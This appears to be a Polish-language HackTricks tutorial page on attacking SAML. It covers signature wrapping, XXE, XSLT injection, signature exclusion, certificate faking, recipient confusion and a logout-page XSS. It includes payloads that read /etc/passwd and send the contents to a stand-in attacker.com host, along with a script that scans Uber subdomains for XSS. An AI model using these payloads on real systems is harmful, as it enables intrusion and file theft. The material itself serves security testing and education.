mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
316 lines
19 KiB
Markdown
316 lines
19 KiB
Markdown
# SAML Attacks
|
|
|
|
## SAML Attacks
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Podstawowe informacje
|
|
|
|
{% content-ref url="saml-basics.md" %}
|
|
[saml-basics.md](saml-basics.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Narzędzie
|
|
|
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Narzędzie, które może przyjąć URL lub listę URL i zwrócić SAML consume URL.
|
|
|
|
## XML round-trip
|
|
|
|
W XML podpisana część XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/dekodowanie i sprawdzany jest podpis. Idealnie, to kodowanie/dekodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz, **dane sprawdzane i oryginalne dane mogą nie być takie same**.
|
|
|
|
Na przykład, sprawdź poniższy kod:
|
|
```ruby
|
|
require 'rexml/document'
|
|
|
|
doc = REXML::Document.new <<XML
|
|
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
|
<X>
|
|
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
|
</X>
|
|
XML
|
|
|
|
puts "First child in original doc: " + doc.root.elements[1].name
|
|
doc = REXML::Document.new doc.to_s
|
|
puts "First child after round-trip: " + doc.root.elements[1].name
|
|
```
|
|
Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszym wersjom skutkowałoby następującym wynikiem zamiast tego:
|
|
```
|
|
First child in original doc: Y
|
|
First child after round-trip: Z
|
|
```
|
|
To jest to, jak REXML widział oryginalny dokument XML z powyższego programu:
|
|
|
|
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (1001).png>)
|
|
|
|
A tak to widział po rundzie analizy i serializacji:
|
|
|
|
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (445).png>)
|
|
|
|
Aby uzyskać więcej informacji na temat podatności i sposobów jej wykorzystania:
|
|
|
|
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
|
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
|
|
|
## Ataki na Owijanie Podpisów XML
|
|
|
|
W **atakach na Owijanie Podpisów XML (XSW)**, przeciwnicy wykorzystują podatność, która pojawia się, gdy dokumenty XML są przetwarzane w dwóch odrębnych fazach: **walidacji podpisu** i **wywołania funkcji**. Ataki te polegają na modyfikacji struktury dokumentu XML. Konkretnie, atakujący **wstrzykuje fałszywe elementy**, które nie naruszają ważności Podpisu XML. Ta manipulacja ma na celu stworzenie rozbieżności między elementami analizowanymi przez **logikę aplikacji** a tymi sprawdzanymi przez **moduł weryfikacji podpisu**. W rezultacie, podczas gdy Podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza **fałszywe elementy**. W konsekwencji, atakujący skutecznie omija **ochronę integralności** i **uwierzytelnianie pochodzenia** Podpisu XML, umożliwiając **wstrzykiwanie dowolnej treści** bez wykrycia.
|
|
|
|
Poniższe ataki opierają się na [**tym wpisie na blogu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**tym artykule**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Sprawdź je, aby uzyskać więcej szczegółów.
|
|
|
|
### XSW #1
|
|
|
|
* **Strategia**: Dodawany jest nowy element root zawierający podpis.
|
|
* **Implikacja**: Walidator może się pomylić między legalnym "Response -> Assertion -> Subject" a "złym nowym Response -> Assertion -> Subject" atakującego, co prowadzi do problemów z integralnością danych.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (506).png>)
|
|
|
|
### XSW #2
|
|
|
|
* **Różnica od XSW #1**: Wykorzystuje podpis odłączony zamiast podpisu opakowującego.
|
|
* **Implikacja**: "Zła" struktura, podobnie jak w XSW #1, ma na celu oszukanie logiki biznesowej po sprawdzeniu integralności.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (466).png>)
|
|
|
|
### XSW #3
|
|
|
|
* **Strategia**: Tworzony jest zły Assertion na tym samym poziomie hierarchicznym co oryginalny assertion.
|
|
* **Implikacja**: Ma na celu wprowadzenie w błąd logiki biznesowej, aby używała złośliwych danych.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (120).png>)
|
|
|
|
### XSW #4
|
|
|
|
* **Różnica od XSW #3**: Oryginalny Assertion staje się dzieckiem powielonego (złego) Assertion.
|
|
* **Implikacja**: Podobnie jak w XSW #3, ale bardziej agresywnie zmienia strukturę XML.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (551).png>)
|
|
|
|
### XSW #5
|
|
|
|
* **Unikalny aspekt**: Ani Podpis, ani oryginalny Assertion nie przestrzegają standardowych konfiguracji (opakowany/opakowujący/odłączony).
|
|
* **Implikacja**: Skopiowany Assertion opakowuje Podpis, modyfikując oczekiwaną strukturę dokumentu.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (1030).png>)
|
|
|
|
### XSW #6
|
|
|
|
* **Strategia**: Podobne wstawienie lokalizacji jak w XSW #4 i #5, ale z twistem.
|
|
* **Implikacja**: Skopiowany Assertion opakowuje Podpis, który następnie opakowuje oryginalny Assertion, tworząc zagnieżdżoną strukturę oszukańczą.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (169).png>)
|
|
|
|
### XSW #7
|
|
|
|
* **Strategia**: Wstawiany jest element Extensions z skopiowanym Assertion jako dzieckiem.
|
|
* **Implikacja**: Wykorzystuje mniej restrykcyjną schemę elementu Extensions, aby obejść środki przeciwdziałania walidacji schematu, szczególnie w bibliotekach takich jak OpenSAML.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (971).png>)
|
|
|
|
### XSW #8
|
|
|
|
* **Różnica od XSW #7**: Wykorzystuje inny mniej restrykcyjny element XML dla wariantu ataku.
|
|
* **Implikacja**: Oryginalny Assertion staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (541).png>)
|
|
|
|
### Narzędzie
|
|
|
|
Możesz użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby przeanalizować żądanie, zastosować dowolny atak XSW, który wybierzesz, i go uruchomić.
|
|
|
|
## XXE
|
|
|
|
Jeśli nie wiesz, jakie rodzaje ataków to XXE, przeczytaj następującą stronę:
|
|
|
|
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
|
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
|
{% endcontent-ref %}
|
|
|
|
Odpowiedzi SAML to **skompresowane i zakodowane w base64 dokumenty XML** i mogą być podatne na ataki XML External Entity (XXE). Manipulując strukturą XML Odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto jak taki atak może być zobrazowany:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
|
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
|
<saml:Issuer>...</saml:Issuer>
|
|
<ds:Signature ...>
|
|
<ds:SignedInfo>
|
|
<ds:CanonicalizationMethod .../>
|
|
<ds:SignatureMethod .../>
|
|
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
|
</ds:SignedInfo>
|
|
<ds:SignatureValue>...</ds:SignatureValue>
|
|
[...]
|
|
```
|
|
## Tools
|
|
|
|
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby wygenerować POC z żądania SAML w celu przetestowania możliwych luk XXE i luk SAML.
|
|
|
|
Sprawdź także ten wykład: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XSLT via SAML
|
|
|
|
Aby uzyskać więcej informacji na temat XSLT, przejdź do:
|
|
|
|
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
|
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
|
{% endcontent-ref %}
|
|
|
|
Rozszerzalne przekształcenia arkuszy stylów (XSLT) mogą być używane do przekształcania dokumentów XML w różne formaty, takie jak HTML, JSON lub PDF. Ważne jest, aby zauważyć, że **przekształcenia XSLT są wykonywane przed weryfikacją podpisu cyfrowego**. Oznacza to, że atak może być skuteczny nawet bez ważnego podpisu; wystarczający jest podpis własnoręczny lub nieważny podpis, aby kontynuować.
|
|
|
|
Tutaj możesz znaleźć **POC** do sprawdzenia tego rodzaju luk, na stronie hacktricks wspomnianej na początku tej sekcji możesz znaleźć ładunki.
|
|
```xml
|
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
...
|
|
<ds:Transforms>
|
|
<ds:Transform>
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="doc">
|
|
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
|
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
|
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
|
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
|
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</ds:Transform>
|
|
</ds:Transforms>
|
|
...
|
|
</ds:Signature>
|
|
```
|
|
### Tool
|
|
|
|
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e), aby wygenerować POC z żądania SAML w celu przetestowania możliwych podatności XSLT.
|
|
|
|
Sprawdź także ten wykład: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
|
|
|
**XML Signature Exclusion** obserwuje zachowanie implementacji SAML, gdy element Signature jest nieobecny. Jeśli ten element jest brakujący, **walidacja podpisu może nie wystąpić**, co czyni go podatnym. Można to przetestować, zmieniając zawartość, która zazwyczaj jest weryfikowana przez podpis.
|
|
|
|
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (457).png>)
|
|
|
|
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
|
|
|
Możesz również użyć rozszerzenia Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Przechwyć odpowiedź SAML i kliknij `Remove Signatures`. W ten sposób **wszystkie** elementy Signature zostaną usunięte.
|
|
|
|
Po usunięciu podpisów, pozwól, aby żądanie przeszło do celu. Jeśli podpis nie jest wymagany przez usługę
|
|
|
|
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
|
|
|
|
## Certificate Faking
|
|
|
|
Certificate Faking to technika testowania, czy **Dostawca Usług (SP) prawidłowo weryfikuje, że wiadomość SAML jest podpisana** przez zaufanego Dostawcę Tożsamości (IdP). Polega na użyciu \***certyfikatu samopodpisanego** do podpisania odpowiedzi SAML lub asercji, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.
|
|
|
|
### Jak przeprowadzić Certificate Faking
|
|
|
|
Poniższe kroki przedstawiają proces przy użyciu rozszerzenia Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
|
|
|
1. Przechwyć odpowiedź SAML.
|
|
2. Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs, używając przycisku `Send Certificate to SAML Raider Certs`.
|
|
3. W zakładce Certyfikaty SAML Raider wybierz zaimportowany certyfikat i kliknij `Save and Self-Sign`, aby utworzyć samopodpisany klon oryginalnego certyfikatu.
|
|
4. Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy certyfikat samopodpisany z rozwijanej listy XML Signature.
|
|
5. Usuń wszelkie istniejące podpisy za pomocą przycisku `Remove Signatures`.
|
|
6. Podpisz wiadomość lub asercję nowym certyfikatem, używając przycisku **`(Re-)Sign Message`** lub **`(Re-)Sign Assertion`**, w zależności od potrzeb.
|
|
7. Prześlij podpisaną wiadomość. Sukces autoryzacji wskazuje, że SP akceptuje wiadomości podpisane przez twój certyfikat samopodpisany, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.
|
|
|
|
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
|
|
|
Token Recipient Confusion i Service Provider Target Confusion polegają na sprawdzeniu, czy **Dostawca Usług prawidłowo weryfikuje zamierzonego odbiorcę odpowiedzi**. W istocie, Dostawca Usług powinien odrzucić odpowiedź autoryzacyjną, jeśli była przeznaczona dla innego dostawcy. Krytycznym elementem jest tutaj pole **Recipient**, znajdujące się w elemencie **SubjectConfirmationData** odpowiedzi SAML. To pole określa URL, wskazujący, gdzie asercja musi być wysłana. Jeśli rzeczywisty odbiorca nie odpowiada zamierzonemu Dostawcy Usług, asercja powinna być uznana za nieważną.
|
|
|
|
#### **Jak to działa**
|
|
|
|
Aby atak Token Recipient Confusion (SAML-TRC) był wykonalny, muszą być spełnione określone warunki. Po pierwsze, musi istnieć ważne konto na Dostawcy Usług (nazywanym SP-Legit). Po drugie, docelowy Dostawca Usług (SP-Target) musi akceptować tokeny od tego samego Dostawcy Tożsamości, który obsługuje SP-Legit.
|
|
|
|
Proces ataku jest prosty w tych warunkach. Autentyczna sesja jest inicjowana z SP-Legit za pośrednictwem wspólnego Dostawcy Tożsamości. Odpowiedź SAML od Dostawcy Tożsamości do SP-Legit jest przechwytywana. Ta przechwycona odpowiedź SAML, pierwotnie przeznaczona dla SP-Legit, jest następnie przekierowywana do SP-Target. Sukces tego ataku mierzy się tym, że SP-Target akceptuje asercję, przyznając dostęp do zasobów pod tą samą nazwą konta używaną dla SP-Legit.
|
|
```python
|
|
# Example to simulate interception and redirection of SAML Response
|
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
|
"""
|
|
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
|
|
|
Args:
|
|
- saml_response: The SAML Response intercepted (in string format).
|
|
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
|
|
|
Returns:
|
|
- status: Success or failure message.
|
|
"""
|
|
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
|
try:
|
|
# Code to send the SAML Response to SP-Target would go here
|
|
return "SAML Response successfully redirected to SP-Target."
|
|
except Exception as e:
|
|
return f"Failed to redirect SAML Response: {e}"
|
|
```
|
|
## XSS w funkcji wylogowywania
|
|
|
|
Oryginalne badania można znaleźć pod [tym linkiem](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
|
|
|
Podczas procesu brutalnego wymuszania katalogów odkryto stronę wylogowania pod:
|
|
```
|
|
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|
```
|
|
Po uzyskaniu dostępu do tego linku nastąpiło przekierowanie do:
|
|
```
|
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
|
```
|
|
To ujawniono, że parametr `base` akceptuje URL. Biorąc to pod uwagę, pojawił się pomysł, aby zastąpić URL `javascript:alert(123);` w próbie zainicjowania ataku XSS (Cross-Site Scripting).
|
|
|
|
### Masowe Wykorzystanie
|
|
|
|
[Z tych badań](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
|
|
|
Narzędzie [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) zostało użyte do analizy subdomen `uberinternal.com` dla domen wykorzystujących tę samą bibliotekę. Następnie opracowano skrypt, który celował w stronę `oidauth/prompt`. Ten skrypt testuje XSS (Cross-Site Scripting) poprzez wprowadzanie danych i sprawdzanie, czy są one odzwierciedlane w wyjściu. W przypadkach, gdy dane wejściowe są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
from colorama import init ,Fore, Back, Style
|
|
init()
|
|
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|
for url in urlList:
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|
doesit = Fore.RED + "no"
|
|
if ("Fady" in request.content):
|
|
doesit = Fore.GREEN + "yes"
|
|
print(Fore.WHITE + url2)
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|
```
|
|
## Odniesienia
|
|
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|